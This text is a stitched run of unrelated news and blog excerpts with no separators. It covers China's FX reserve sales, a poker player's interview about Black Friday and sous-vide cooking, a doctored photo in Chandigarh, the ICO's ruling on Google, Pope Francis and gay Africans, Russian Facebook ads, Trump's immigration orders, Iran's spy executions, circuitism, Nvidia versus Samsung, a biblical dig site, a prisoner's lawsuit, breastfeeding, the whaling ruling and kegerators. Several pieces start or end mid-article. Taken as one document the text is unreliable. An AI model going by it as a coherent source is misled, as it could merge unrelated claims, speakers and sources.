From Goldman: The People’s Bank of China (PBOC) reported that its foreign exchange reserves dropped by US$94bn in August, to US$3.557tn at the end of the month. However, it is not straightforward to derive the actual scale of FX reserves sales from the headline FX reserves data, given uncertain valuation effects and possible balance sheet management by the PBOC. It is possible to get an approximate sense about valuation effects stemming from currency movement: e.g., assuming the currency composition of the PBOC’s FX reserves broadly follows that of the average country’s (using the IMF COFER weights, which suggest roughly 70% in USD for EM countries), the currency valuation effect would probably be positive to the tune of roughly US$20bn (i.e., if we only look at the change in headline FX reserves as a gauge of sales of FX reserves, sales of FX reserves might have been underestimated by around US$20bn, given the currency valuation effect). However, besides currency movements, there could also be significant valuation effects from changes to the market prices of the PBOC’s investment portfolios, and the direction and size of those effects is hard to measure given the uncertainty of the asset composition. Moreover, there could also be possible short-term transactions and agreements between the PBOC and banks that may complicate the interpretation of the change in FX reserves as an underlying measure of RMB demand.
Of course the huge draw down was widely anticipated and indeed, we've explored and detailed virtually every angle of this story in the lead up to the data. The key takeaway here is that we now have official confirmation that August saw $94 billion in reverse QE (and more likely $115 billion) or, quantitative tightening as Deutsche Bank puts it.
We can, as we explained on Saturday, argue about what the ultimate effect on safe haven assets will be, but what's not up for debate is that conceptually speaking, China's massive UST dumping is the opposite of Western central bank QE and as such should be expected to pressure yields. More specifically, Citi has suggested that for every $500 billion in EM FX reserve liquidation, there's an attendant 108 bps or so of upward pressure on 10Y yields. Similarly, Deutsche Bank, citing the extant literature, flags 50-60bps of upward pressure on 5Y yields for every $100 billion in monthly EM FX reserve liquidations.
The takeaway, as we put it last week, is that if the Fed hikes this month, it will be tightening into a tightening.
But it's not that simple. It's also possible that, if China's FX reserve draw downs do indeed end up serving as a trigger for risk-off behavior (i.e. a selloff in risk assets), the subsequent flight to safety could end up driving yields on long bonds lower, not higher. We discussed this in detail over the weekend.
Still, China isn't the only country liquidating its USD assets. When you consider that global EM FX reserves amount to more than $7 trillion, it seems reasonable to ask whether the flight to safety that would invariably accompany a worldwide selloff in risk assets would be sufficient to replace the lost bid from massive reserve draw downs. Or, as we put it on Saturday, "the real question is what would everyone else do. If the other EMs join China in liquidating the combined $7.5 trillion in FX reserves (i.e., mostly US Trasurys but also those of Europe and Japan) shown below into an illiquid Treasury bond market where central banks already hold 30% or more of all 10 Year equivalents (the BOJ will own 60% by 2018), then it is debatable whether the mere outflow from stocks into bonds will offset the rate carnage."
And that consideration, in turn, puts the Fed in a very, very difficult spot. A rate hike cycle will put further pressure on already beleaguered EM currencies which raises the possibility that the FX reserve liquidation will be larger than the eventual safe haven flows and besides, there's bound to be a lag between the liquidation of USD assets and the flight to safety and given the potential for extraordinary bouts of volatility in UST, JGB, and German Bund markets, it's anyone's guess what happens in between.
Part 1
Part 2
In the final part of this in-depth interview with Dani Stern the poker professional talks about much more than his favorite game. Stern talks about the poker mindset, how Black Friday affected him and his second big passion.
“I think the following is true for a lot of poker players, you always think you are below your expectation. I don’t necessarily mean thinking that you’re running bad, but you always expect to have more than you do. If you have a million dollars you think, “Well I should have five million if I had done everything the right way and I wasn’t unlucky.” The same goes for if you have $100,000, in that case you think that you should have $500,000," Stern said.
"It doesn’t matter where you are in poker. That goes for most of poker players that I know, but you always want a better financial situation. That has always been my mentality in poker, of never being satisfied of my financial situation. I had that feeling when I was at my highest and lowest points of my career. I always expected myself to have done better or to do better in the future,” Stern added in a serious tone of voice.
“Let’s say you go on a $500,000 heater and then you lose $200,000. At that point it’s hard to think of it as a $300,000 heater. You always think of that situation from the perspective of, “I just lost a ton of money and I need to get back to where I was at $500,000.” I think there’s this attitude of, whatever your peak was, that’s where you belong,” Stern continues on this mental aspect of the game.
“I think it is a strength to have that attitude, it’s a form of ambition. You just want everything to keep going better and better, and that’s why downswings are so hard. When you’re on a heater, you think that you are the greatest ever, and when you’re on a downswing, you think that you are very unlucky. What I’m trying to say is that you shouldn’t be too emotional about it. It’s very good to have the attitude of being driven and ambitious to keep doing better at poker, but it’s bad if emotion blurs your vision. Those are things you need to sort out,” Stern reflects on the poker mindset and how a player’s attitude is extremely important when dealing with both good and bad stretches.
Black Friday was without a doubt the biggest mental challenge for poker players in the United States. Stern gives us the full story of how he heard the news and dealt with this huge loss, which changed his life.
“The Black Friday week was actually really crazy for me in general. Two days before Black Friday, I woke up one morning and I could barely stand up. The world was spinning around me. It wasn’t like normal dizziness; it was unlike anything I have ever experienced. I had no idea what was happening and it was scaring the shit out of me. I thought I might be having a heart attack or a stroke or something like that. So I called a friend that lived nearby to take me to the hospital,” Stern started out with.
“I end up in the hospital and the doctor basically said that I have vertigo, an inner ear problem. He said it would go away in a couple of days and that it wasn’t a big deal. He gave me a bunch of drugs and told me to stay in bed or sit on the couch all day. He told me to take it easy and to definitely not drink, not a single drink. So I listened to his advice and I started to feel better on the second day. I almost felt no dizziness anymore and on April 15th I woke up at my standard time, around 10 or 11 a.m. I took my dog for a walk in the park close to my old apartment, something I would do every morning. I lived in New York City at the time and I always went to Madison Square Park, sat down there and that was my daily routine. I sat there reading the newspaper when a friend of mine called. He’s not a professional poker player but he does know how to play,” Stern said as he was not expecting to hear the following.
“He was in and around the poker and said, “They shut it down. They shut online poker down!” Because he wasn’t a professional player I didn’t quite believe him and told him that he didn’t know what he was talking about. He then went on to say there was a banner from the FBI on both the PokerStars and FullTilt websites and that they seized the domain names. He said, “Go check it out yourself, it’s all over 2+2!” and I started freaking out a little, so I grabbed my dog and went home,” Stern said, and chaos ensued as soon as he came home.
“The next eight hours I spent calling friends, Skyping and talking on AiM in sheer panic. We had no idea what was going on and we were so confused at that time. There were always rumors about the government shutting online poker down, for many different reasons. There was also talk about a new legislation and people thought the UIGEA was going to shut down poker, but Black Friday came right out of the blue. At 9:00 p.m. some other poker players and myself found the dumpiest and most depressing dive bar in Manhattan and went and got really drunk, commiserating over what had happened. It was almost like we were at a wake, and the dead person was online poker. I wasn’t that big on Twitter at the time, but I sent out a message that if any online poker players wanted to come and drink to mourn to loss of online poker, they were more than welcome to. A bunch of people came down and it was quite miserable, but with a hint of humor. We were all laughing about it, about the absurdity of the situation,” Stern vividly recalls this strange night out.
“Emil “WhiteLime” Patel, Jay “Krantz” Rosenkrantz and a bunch more DeucesCracked guys and other poker players showed up for that night of drinking,” Stern said as he reached a big conclusion about why Black Friday hurt him and other professional poker players so much.
“It wasn’t really about how much money was stuck online, it was more about losing the ability to make money,” Stern said.
Moving out of the country was the only way to keep playing online, and Stern’s decision was quickly made.
“The only thing I knew after Black Friday was that I was going to Las Vegas for the World Series. I was already planning on going there, but now I decided on going full time. So I tried to play every event there, since it was the only place where I could play poker. My plan was, during that summer, to figure out what I would do afterwards. My girlfriend was living in Toronto, so I had already been spending a lot of time there. That made my decision to move there pretty easy, because it was something that was already semi-happening. I moved to Canada after the summer in Vegas and partially I picked online poker back up. I also went to culinary school in Toronto for a year, as a side project. That was partially to have something outside of poker, but also to have a visa to go to Toronto without causing any problems," Stern said.
Culinary school, and cooking for that matter, turned into one of Stern’s passions and he gives us an insight in how he spent a year trying to improve his kitchen skills.
“For a while I had been cooking a lot and I really enjoyed it a lot. It turned into something more than just a hobby; it was more like a passion. I didn’t have any purpose or direction to it, but I just really loved it and wanted to continue it possibly on a higher level. So I went to culinary school in Toronto thinking it might benefit me in the future if I wanted to go in that direction with my life, and otherwise I would just be a fun experience in my life,” Stern said.
Dani Stern in culinary school
“I think it was a good idea to go to culinary school, but it definitely took away a lot of my poker time during that year. The joke they always made at culinary school is that this degree is not going to get you anywhere; if you want to work at a restaurant you’re still going to find yourself cutting vegetables in some kitchen to start with. If I ever wanted to get into the food world, I would have to start my own restaurant or start all the way at the bottom. That’s one of the reasons I’m not too keen to go through with that,” Stern said about the unlikely scenario of him stepping away from poker to become a chef.
Stern also gets a little more into the type of cooking he really enjoys, something that sounds like sorcery to most people who have not gone to culinary school.
“I’m a fan of cooking sous-vide, which is a cooking method where you vacuum seal what you’re going to cook. Sometimes you’ll add seasoning and aromatics to it, but frequently you just add salt and pepper. Then you submerge it into a temperature controlled water bath for some period of time. There are a lot of scientific reasons why this is the greatest way to cook everything, because it allows you to do a lot of things that are not possible with traditional cooking,” Stern stars off with as he explains why this is the best way to prepare a steak.
“It also allows for complete and total precision. A medium-rare steak is 130 degree Fahrenheit in the center, so you can put a steak in a bag and put that in water of exactly 130 degrees. You can leave it in the water for several hours and it will never overcook. That’s just one of a million things you can do with this style of cooking, and you can also for instance slow cook things for 72 hours until it’s the most tender piece of meat ever. Very high-end restaurants all have a machine for this, but I just have the home version and make some pretty awesome stuff as well. I made beef cheeks that sat in the water for 48 hours, a 24-hour brisket that was the same texture wise, but a lot more moist, than a smoked brisket. Those are some of my favorite things,” Stern said about the science of food that is sous-vide. Being a chef and figuring out why certain flavors go well together is something that interests Stern a lot as he elaborates on the science of food.
“That’s definitely my favorite part of cooking, the science part. As a poker player I like to know why things taste good and what happens chemically at different temperatures. I think it’s an emerging trend in all aspects of life now; the statistics and science are more powerful than they ever were. I’m a huge sports fan, and I think it’s something similar to what’s happening in the sports world. Advanced statistics are becoming more and more prevalent in football, baseball, basketball and other sports,” Stern said as he intertwined the discussion about math in football and cooking.
“You don’t have to learn how to cook by watching your grandma make her favorite meatball recipe. Not that there’s anything wrong with that, because everyone loves grandma’s food, but you can also take the scientific approach now and try to figure out why things cook the way they do. In sports, for instance in the NFL, there are a lot of scientific decisions to make that can help you win a game. Going against conventional football wisdom is not something most coaches in the NFL are willing to do, which is just stupid. There are many examples and discussions, but for instance going for it on 4th and 1 is something that should be happening much more often. If you ask a football person, or the pundits on ESPN, they’ll say, “This game isn’t about math, this is football and it’s about men on the battlefield!” and other ridiculous shit like that,” Stern mockingly said about sports fans.
“That complete non-science is something I have to deal with in cooking as well. There’s this belief that when you cook a steak you should only flip it once. I would then say, “Why? Why can’t you keep flipping it?” and they respond with, “Why? Because that’s just how you cook steak.” Or when you’re braising a piece of meat you should sear it first to seal in the juices, and I would say, “How does that seal in the juices?” on which they respond, “It just does, that’s just how you braise!” That kind of stuff, from a poker player’s perspective where math is extremely important, is just hard to deal with,” Stern ended his rant to catch his breath.
Some people say that understanding math takes away from some of the fun of sports, but Stern disagrees.
“I’ve heard some people say that, and my roommate in Toronto, Dan Smith, has made that argument before. He doesn’t enjoy sports as much now, that he is a poker player who understands statistics. When you see someone hitting a buzzer beater in a basketball game, instead of being like, “Man that guy just had it! It was his shot!” you now say, “ Well you know, he hit a 60/40.” That is a little bit boring, if you say it that way. But it hasn’t really affected me in any way, nor does it get me less excited about any event,” Stern said.
“I still scream at the TV when Eli Manning throws an interception, because I can’t look at that situation like losing with a pair against an under pair. The nature of football is super high variance and with the regular season only being 16 games it even adds some extra variance. Basketball on the other hand is the lowest variance game ever where the better team will win such a high percentage of the time," Stern said.
"So no, knowing the variance in sports doesn’t take away from the joy. It might even be the contrary, as not knowing what’s going to happen because of variance makes sports exciting. In poker, if the best player won every time it would get very dull. Or think of this, when you’re all in instead of running the board out, you get paid your equity from the pot. That would make poker boring and bad players would not like that at all,” Stern said about how variance is good for both sports and poker.
The variance for Stern will continue as he continues to be a professional poker player. Looking back on this interview we can say that Black Friday forced Stern to look into a different direction, and in the long run it might’ve helped him try new things and regain his focus on what’s important.
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The photograph of three US soldiers seems to have been picked up from the internet where they have been misrepresented as that of Indian Army even though the soldiers are clearly seen wearing the US Flag on their uniforms (see pic).
To make the matters worse, the photograph from the internet has been tampered with and flipped so that the US flag was not visible.
However, flipping the photograph made all the three soldiers look like they were holding rifles in their left hand which seemed very unlikely and raised initial suspicions of the photograph being doctored which were later proven right.
Even other aspects of the photograph, like the pattern of helmets worn by the soldiers and the M-16 US Army standard issue rifle they are carrying, should have alarmed the MC officials dealing with the advertisements but evidently all this was ignored.
The hoardings were put up across Chandigarh to inform the general public about the commemoration event being held in the city on March 23 to mark the martyrdom day of Bhagat Singh, Rajguru and Sukhdev where the war widows would also be honoured.
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The Information Commissioner's Office (ICO) found that Google was "too vague" when describing how it used people's personal data and has ordered it to make substantial changes.
In March 2012 the company combined around 70 existing privacy policies into one. It was a move that caused concern amongst privacy advocates, who said that it was no longer clear how people's data was collected and shared.
The changes meant that Google could collect user data on one service and use it on another—from Google Search to YouTube, for example. The ICO originally demanded Google change its privacy policy in July 2013, but the case became bogged-down in negotiations.
Regulators elsewhere in Europe were quicker to act and handed out harsher punishments. In December 2013 Spain levied a maximum fine of €900,000 (£751,000) against Google for breaking data protection laws. A year later the Dutch data watchdog threatened to fine Google €15m (£12m) if it didn't update its privacy policy by February 2015.
The Italian privacy watchdog ordered Google to make changes in July 2014 with French authorities fining the company €150,000 (£112,000) last January and demanding a change to its privacy policy. The French watchdog also forced Google to display a message on its homepage explaining that it had been fined for violating national privacy laws.
A spokesperson for the ICO told WIRED UK that each country looked at Google's privacy policy "under their own laws". When asked why the ICO had stopped short of fining Google the spokesperson said that it had based its conclusion on the UK's data protection act and added it could not comment on what other countries had done.
Concluding its three-year investigation the ICO said that it is crucial that companies better explain how user data is being handled. The watchdog added that Google's combined privacy policy did not provide "sufficient information" on how personal data was being collected.
"It is vital that there is clear and effective information available to enable users to understand the implications of their data being combined," said Steve Eckersley, head of enforcement at the ICO. "The detailed agreement Google has signed setting out its commitments will ensure that."
Francis travels to Kenya and Uganda, where many conservative Christians bristle at the idea of the West forcing its morality on them, especially when it comes to gays and lesbians. He also visits conflict-torn Central African Republic on a tour that starts on Nov. 25.
While Francis has not changed Catholic dogma on homosexuality and has reaffirmed the church’s opposition to same-sex marriage, his more inclusive approach has cheered many gay Catholics while annoying conservatives.
“I would like the Pope to at least make people know that being LGBT (lesbian, gay, bisexual, transgender) is not a curse,” said Jackson Mukasa, 20, a Ugandan in Kampala who was imprisoned last year on suspicion of committing homosexual acts, before charges were dropped for lack of evidence.
“Being a gay in Uganda is a challenge. You expect mob justice, you expect to be killed, you expect to be arrested,” said Mukasa, who also goes by the name Princess Rihanna.
Homosexuality or the act of gay sex is outlawed in most of Africa’s 54 states. South Africa is the only African nation that permits gay or lesbian marriage. The Catholic church holds that being gay is not a sin but homosexual acts are.
Uganda, which is about 40 percent Catholic, has been seen as a bastion of anti-gay sentiment since 2013, when it sought to toughen penalties, with some lawmakers pushing for the death penalty or life in prison for some actions involving gay sex.
The law was overturned on procedural grounds, but not before U.S. Secretary of State John Kerry compared it to anti-Semitic legislation in Nazi Germany. Other Western donors were outraged.
Frank Mugisha, director of Sexual Minorities Uganda and one of the country’s most outspoken advocates for gay rights, said he hoped the Pope would bring a message that gays and lesbians should be “treated like any other children of God.”
Pope Francis speaks as he leads the weekly audience in Saint Peter's Square at the Vatican November 18, 2015. REUTERS/Max Rossi
“If he starts talking about rights, then Ugandans are going to be very defensive,” said Mugisha, a Catholic. “But I would think if the Pope was here and talking about love, compassion and equality for everyone, Ugandans will listen.”
A government spokesman, Shaban Bantariza, said: “We hope the Pope’s message will not diverge from the core beliefs of Ugandans.”
“We don’t view homosexuality as a normal lifestyle but also we have chosen not to persecute those who have fallen victim to it,” he said.
While gays feel ostracized by the Catholic church’s teachings, Africa’s evangelical protestant preachers are often among the most strident opponents of homosexuality.
“LOVE EVERYONE”
The lightning progress of gay rights in much of America and Europe, where same-sex couples can marry and adopt children, has encouraged gay Africans but hardened attitudes of those who object to the idea on religious grounds.
U.S. President Barack Obama, whose father was Kenyan, likened discrimination against gays to racism, speaking during a visit to Kenya, where about a third of the population is Catholic.
Francis’ ascent to the papacy in 2013, replacing the more conservative Pope Benedict, has heartened gay Africans. They welcomed Francis’ comment early in his papacy that: “If a person is gay and seeks God and has good will, who am I to judge him?”
Although many Kenyan Christians are deeply conservative, the country has been comparatively tolerant and now hosts about 500 gay refugees from neighboring Uganda. Kenyan law calls for jailing those involved in homosexual acts but rarely prosecutes.
Pope Francis waves as he arrives to lead the weekly audience in Saint Peter's Square at the Vatican November 18, 2015. REUTERS/Max Rossi
David Kuria, a well-known Kenyan gay rights activist, did not hesitate when asked about the message he would give to the pope ahead of the visit.
Recalling that his mother, a devout Catholic, was kicked out of her village prayer group because she had raised a gay son, he said he would say that parents of gays should not be victimised or made to “doubt themselves as parents or as Christians”.
The calls for them to appear before Congress came Tuesday from Sen. Mark Warner amid reports that Russia-based organizations — known to blast out pro-Kremlin propaganda — previously purchased ads on Facebook targeting U.S. voters.
“We’re seeing more evidence of additional ads and how they are used to manipulate individuals,” Warner told reporters. “I think, one of the reasons why we need to bring in Facebook, Twitter and others in some level of public hearing, is that this opens a whole new arena.”
For now, Warner said he planned to discuss the potential for a public hearing with the Senate Intelligence Committee and its chairman, Sen. Richard Burr, “later today and later this week.”
“But, let’s face it, the whole notion of social media and how it is used in political campaigns is the wild wild west,” Warner continued. “And again, I’ll grant Facebook that maybe they weren’t as fully aware in the immediate aftermath of our elections, although for many months they said this didn’t happen. I’ve wondered about that.”
A spokesman for Burr did not immediately respond to emails seeking comment on Tuesday. Nor did his counterpart on the House Intelligence Committee, Republican Rep. Devin Nunes. Facebook and Twitter could not immediately be reached for comment.
For its part, Facebook has acknowledged that Russian-controlled pages and accounts spent $100,000 on ads meant to “amplify divisive social and political messages” before the election. But it has not released the contents of those ads, citing “privacy” concerns.
Days later, a report in The Daily Beast found that Russian-aligned groups used fake profiles — as well as paid ads — to help incubate political protests in the United States.
Asked about the new allegations, Warner initially suggested that Facebook did not reveal the incident to him or others on the committee, though he later clarified that he was not sure. Either way, the Democratic senator stressed the need for new rules to ensure “we got enough disclosure so that folks can at least look at the content of the advertising,” he said.
Citing “several congressional aides and immigration experts briefed on the matter,” Reuters reported on Tuesday that the Trump administration plans to sign executive orders temporarily restricting immigration to the United States from Syria, Iraq, Iran, Libya, Somalia, Sudan, and Yemen.
The orders are expected to impact most refugees from those nations until the Department of Homeland Security and State Department make improvements to the current vetting process, according to the report.
After flirting with the idea of a temporary ban on Muslim immigration, Trump ultimately endorsed a plan to restrict immigration from countries known for terrorist activity in order to prevent possible terrorists from exploiting the U.S. immigration system.
White House Press Secretary Sean Spicer confirmed on Tuesday that the immigration vetting process will be overhauled as soon as Rex Tillerson is cleared to head the State Department.
Because the countries seem to be all Muslim-majority nations, Trump will almost certainly face harsh criticism from his liberal critics, including Democrats in Congress. However, if it’s determined the temporary immigration ban is in the public’s interest, the president is within his legal right to issue the executive orders.
Trump has been on something of an executive order spree this week.
On Monday, Trump signed several executive orders withdrawing the U.S. from the Trans-Pacific Partnership deal and implementing a federal hiring freeze. On Tuesday, Trump signed more executive orders to advance the Keystone XL and Dakota Access pipeline projects.
According to a statement issued by Iran’s Intelligence Ministry, the two men, were head of two spy networks related to CIA and Mossad. All other agents working with the two networks also identified and arrested.
“The two executed spies have misused their access to some of important classified information,” read the statement of the Intelligence Ministry.
According to a source talked to IransView on condition of anonymity, the two spies leaked information on Iran’s nuclear and missile programs in last ten years.
The Mossad agent, identified as Mohammad Heidari, had been found guilty of collecting Iranian classified information and providing the intelligence to the Israeli spy agency in the course of several meetings outside the Islamic Republic.
Heidari had received sums of money from the Mossad in return for the acts of espionage.
The other spy, Kourosh Ahmadi, was convicted of contacting CIA agents and providing them with intelligence on Iran.
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Contrast with mainstream theory [ edit ]
The key distinction from mainstream economic theories of money creation is that circuitism holds that money is created endogenously by the banking sector, rather than exogenously by the government through central bank lending: that is, the economy creates money itself (endogenously), rather than money being provided by some outside agent (exogenously).
These theoretical differences lead to a number of different consequences and policy prescriptions; circuitism rejects, among other things, the money multiplier based on reserve requirements, arguing that money is created by banks lending, which only then pulls in reserves from the central bank, rather than by re-lending money pushed in by the central bank. The money multiplier arises instead from capital adequacy ratios, i.e. the ratio of its capital to its risk-weighted assets.[2]
Circuitist model [ edit ]
Circuitism is easily understood in terms of familiar bank accounts and debit card or credit card transactions: bank deposits are just an entry in a bank account book (not specie – bills and coins), and a purchase subtracts money from the buyer's account with the bank, and adds it to the seller's account with the bank.
Transactions [ edit ]
As with other monetary theories, circuitism distinguishes between hard money – money that is exchangeable at a given rate for some commodity, such as gold – and credit money. The theory considers credit money created by commercial banks as primary (at least in modern economies), rather than derived from central bank money – credit money drives the monetary system. While it does not claim that all money is credit money – historically money has often been a commodity, or exchangeable for such – basic models begin by only considering credit money, adding other types of money later.
In circuitism, a monetary transaction – buying a loaf of bread, in exchange for dollars, for instance – is not a bilateral transaction (between buyer and seller) as in a barter economy, but is rather a tripartite transaction between buyer, seller, and bank. Rather than a buyer handing over a physical good in exchange for their purchase, instead there is a debit to their account at a bank, and a corresponding credit to the seller's account. This is precisely what happens in credit card or debit card transactions, and in the circuitist account, this is how all credit money transactions occur.
For example, if one purchases a loaf of bread with fiat money bills, it may appear that one is purchasing the bread in exchange for the commodity of "dollar bills", but circuitism argues that one is instead simply transferring a credit, here with the issuing central bank: as the bills are not backed by anything, they are ultimately just a physical record of a credit with the central bank, not a commodity.
Monetary creation [ edit ]
In circuitism, as in other theories of credit money, credit money is created by a loan being extended. Crucially, this loan need not (in principle) be backed by any central bank money: the money is created from the promise (credit) embodied in the loan, not from the lending or relending of central bank money: credit is prior to reserves.[3]
When the loan is repaid, with interest, the credit money of the loan is destroyed, but reserves (equal to the interest) are created – the profit from the loan. Another explanation of the interest, in a simple, non-growth model is the interest enjoyed by the bank is from the spending of interest income of the bank in previous circuit. The same simple model applies for profit as well, in a simple model of non-growth non-modern-bank model composed only by entrepreneurs and the employed workers, entrepreneurs's spending on profit on previous circuit will compose the profit this group enjoy in new circuit.
The failure of monetary policy during depressions – central banks give money to commercial banks, but the commercial banks do not lend it out – is referred to as "pushing on a string", and is cited by circuitists in favor of their model: credit money is pulled out by loans being made, not pushed out by central banks printing money and giving it to commercial banks to lend.
History [ edit ]
Circuitism was developed by French and Italian economists after World War II; it was officially presented by Augusto Graziani in (Graziani 1989), following an earlier outline in (Graziani 1984).[4]
The notion and terminology of a money circuit dates at least to 1903, when amateur economist Nicholas Johannsen wrote Der Kreislauf des Geldes und Mechanismus des Sozial-Lebens (The Circuit Theory of Money), under the pseudonym J.J.O. Lahn (Graziani 2003). In the interwar period, German and Austrian economists studied monetary circuits, under the term Kreislauf, with the term "circuit" being introduced by French economists following this usage. The main protagonists of the French approach to the monetary circuit is Alain Parguez. Today, the main defenders of the theory of the monetary circuit can be found in the work of Riccardo Realfonzo, Giuseppe Fontana and Riccardo Bellofiore in Italy; and in Canada, in the work of Marc Lavoie, Louis-Philippe Rochon and Mario Seccareccia.
Modeling difficulties [ edit ]
While the verbal description of circuitism has attracted interest, it has proven difficult to model mathematically. Initial efforts to model the monetary circuit proved problematic, with models exhibiting a number of unexpected and undesired properties – money disappearing immediately, for instance. These problem go by such names as:
Losses in Circuit
Destruction of Money
Dilemma of profit
See also [ edit ]
Chartalism, another theory of endogenous money
Post-Keynesian economics
By Andrew Chung
NEW YORK (Reuters) - Samsung Electronics Co Ltd has been cleared on its use of graphics chip technology owned by Nvidia Corp without permission, in a U.S. International Trade Commission ruling on Friday.
Judge Thomas Pender said Samsung did not infringe two Nvidia patents, and while it did infringe a third, he ruled that patent is invalid because it was not a new invention compared with previously known patents.
Nvidia spokesman Robert Sherbin said the ruling will be reviewed by the full commission, which will make a final decision on the dispute in February. "We remain confident in our case," he said.
A spokeswoman for Samsung declined to comment.
Santa Clara, California-based Nvidia filed a complaint against Samsung and Qualcomm Inc at the ITC in September 2014. At the same time, Nvidia sued the companies in federal court in Wilmington, Delaware.
The ITC has the authority to stop the import of products that it determines infringe a U.S. patent. Companies frequently sue at the ITC to win an import ban and in district court to win damages.
Nvidia, which said it invented the first graphics processing chip and released it in 1999, accused Korea's Samsung and San Diego-based Qualcomm of using its patents on graphics chip technology without permission or compensation.
Nvidia alleged the companies infringed its patents with Qualcomm's Snapdragon processors and Samsung's Exynos processors and was seeking to prevent the import of several Samsung products, including its Galaxy smartphones and tablets.
Samsung has also gone on the offensive. It countersued Nvidia last November in federal court in Virginia, also alleging patent infringement. Samsung also sued one of Nvidia's customers.
Archaeologists in Israel have discovered what they believe to be the site of a biblical city mentioned in the story of David and Goliath.
Charisma News reports that the two-gated city is thought to be around 3,000 years old. Its modern name is Khirbet Qeiyafa and it is in Israel’s Elah Valley.
Archaeologists believe the city was referenced in the Old Testament and that its name during biblical times was Sha’arayim, which is Hebrew for “two gates.” The city is mentioned in 1 Samuel 17: 52 which says, “And the men of Israel and Judah rose with a shout and pursued the Philistines as far as Gath and the gates of Ekron, so that the wounded Philistines fell on the way from Shaaraim as far as Gath and Ekron.”
Scientists used carbon-14 dating of some 28 charred olive pits to determine that the city flourished at the end of the eleventh century BCE through the early tenth century, which included the days of King Saul and David.
"No one can argue with this data," said Proffessor Yosef Garfinkel, Yigal Yadin Chair of Archeology at the Institute of Archeology at Hebrew University of Jerusalem.
Professor Garfinkel, along with Professor Michal Hazel of Southern Adventist University of Tennessee, led the excavations.
The excavation of the city has been going on for seven years, but the public is finally able to explore the findings through a Bible Lands Museum exhibit that recently opened in Jerusalem.
The band posted the following:
“Thanks to everyone who came out to the show in Fullerton last night, that was super fun! And extra special thanks to the security guard at The Slidebar Rock N Roll Kitchen for tracking down and recovering Sacha‘s guitar from the dickhead who stole it right off the stage…”
First off, good on the folks at Slidebar. If someone is able to steal a musician’s gear from off the stage, your reputation depends on being able to track it down, especially given that Sacha makes his own guitars.
Second, the guy who stole those guitars has some chutzpah. Don’t get me wrong, he’s still a total piece of shit for trying to rob a musician of his gear, and I hope he gets prosecuted to the fullest extent of the law, but man, there’s a kind of Danny Ocean brilliance going on here. I can hear that conversation right now:
“So how do we break into the van?”
“Oh, we don’t break in anywhere. I’m going to walk up and take those guitars… right off the stage.”
ANYway, glad Sacha got his gear back. Intronaut begin their tour with Scale The Summit and North in March. Click here for dates.
In a handwritten lawsuit filed June 10 in US District Court in Detroit, Kyle Richards said the porn ban has "been used as a method of 'psychological warfare' against prisoners, in order to both destroy the morale of inmates and break the spirit of individuals."
The Macomb County jail where Richards is imprisoned does not allow inmates to possess porn, the newspaper reported.
However, instead of suing the county Richards has sued the state, which does allow inmates in state prisons to possess pornography -- with the exception of material depicting simulated rape, bestiality and sadomasochism, a Department of Corrections spokesman said.
It’s LITERALLY the act of supplying life sustaining fluids to the next generation of human beings.
It’s the LEAST sexual thing a boob can do.
I think people who are weirded out by breast feeding are inherently self-oppressed. They are intimidated by boobs. They are secretly afraid of the fact that we have animalistic functions.
Sure, you say, but urinating is natural and we can’t do that on the public street.
You’re correct, but it’s also getting rid of waste and a personal activity. Feeding your child isn’t something that people should feel that they need to do in private.
If they use a double wide stroller, however, I’m not cool with that.
Below is an abridged account from a local blogger regarding a recent visit to a restaurant in downtown Bethlehem on Main Street. You can read the full account here.
After a hot day walking around the music festival in our town, my sisters, husband, friends and I decided to eat, with my two kids, at one of our favorite restaurants, Mama Nina’s. … Graeme had been such a trooper all day, but with the weather being a balmy 85-90 degrees, I had decided to step up the nursing schedule to make sure he remained hydrated.
… His head completely covered my nipple and, facing the restaurant, all anyone could see was the top of my breast. It was no more than a low cut shirt would have revealed. As we looked at the menu, a woman who worked for the restaurant came over and asked if I had a cover and said if I didn’t feel comfortable covering that I could go to the bathroom to nurse. I immediately threw a blanket over Graeme’s head, and he immediately threw a small fit over being stuffed under a blanket in the heat! As I wrestled with him, I looked down at my menu and caught the judgmental eye of a woman sitting at a table across from us. SOURCE: Decaffeinated Mama
Honestly, any time I have ever seen a woman nursing in public, I actually feel rude if I am making THEM feel uncomfortable.
Babies don’t give a shit if there are other people around or if some old lady is mad because her boobs are old and saggy and she has to look at some nice milk-filled boobs. Babies just want some goddamn milk.
Also, the last customer I want to piss off is a breast feeding mom. If she has no qualms breast feeding in public, she certainly isn’t going to have a problem telling everyone how you told her to cover up because someone was worried about side boob.
I’m glad that this blogger wasn’t afraid to come out and write about her experience. And, if the whole account is true, it’s kinda crappy to ask one of your patrons to go into the bathroom to nurse.
Not that this is completely a perfect comparison, but what if someone who was severely disabled was in the restaurant. Would you go over to them and ask them to eat in the bathroom because they were bothering other customers? Of course not, you’d be a freakin’ monster if you did that.
Australia, which brought the case, argued that science is an international activity, and subject to some properties that hold no matter where it's done:
(i) defined and achievable objectives; (ii) use of appropriate methods, including use of lethal methods only where objectives cannot be answered through alternate methods; and (iii) proper assessment and response through the community of scientists.
Japan, in contrast, argued that if some research resulted from its whaling, the whole effort should be considered "for the purposes of scientific research."
The court didn't buy either of these arguments. Instead, it looked at the details of how Japan designed and implemented its whaling program, and whether they could satisfy the scientific objectives it claimed were being addressed, such as monitoring the Antarctic ecosystem and examining competition for food among whale species.
The perspective looks in details at the issue of how many individuals Japan allowed whalers to take. A brief glance makes them appear arbitrary: 50 each of humpback and fin, but over 935 minke whales. But the court also found that Japanese whalers rarely ever reached these numbers, but that this failure never resulted in any adjustments to the research program. And there appeared to be no consideration of whether the same research goals could be reached through non-lethal sampling.
As such, the court decided that the program was clearly based on purposes other than scientific research, and that any claims of the sort needed to rely on something more than Japan's word.
The perspective notes that this decision is rather damning for the International Whaling Commission, which had approved the research. All of the inconsistencies in the Japanese program were pointed out during a review in which it was initially proposed. Japan simply dismissed these criticisms as "political"—something that you hear about a wide variety of scientific topics—and the IWC approved the program.
Although the decision doesn't get in to the actual definition of what makes something scientific (something that's come up in other court cases), it does provide a useful guide to how to identify a scientific research program: does it have clear goals that can be achieved using the approach laid out? That won't be enough to avoid the clashes where science runs up against social values. But it might help identify some cases where it's clear that the primary issue is on the social values side of the equation.
Science, 2014. DOI: 10.1126/science.1254616 (About DOIs).
The cause of the problem is pretty clear. Heat rises. That means the top of your kegerator is going to be warmer than the bottom of your kegerator. That warmer beer foams when it comes out. The faucet and shank are also warmer. That warmth adds to the problem.
How much is the temperature variance? Of course, this will vary from setup to setup and climate to climate. I was relatively shocked by the temperature difference in my own kegerator.
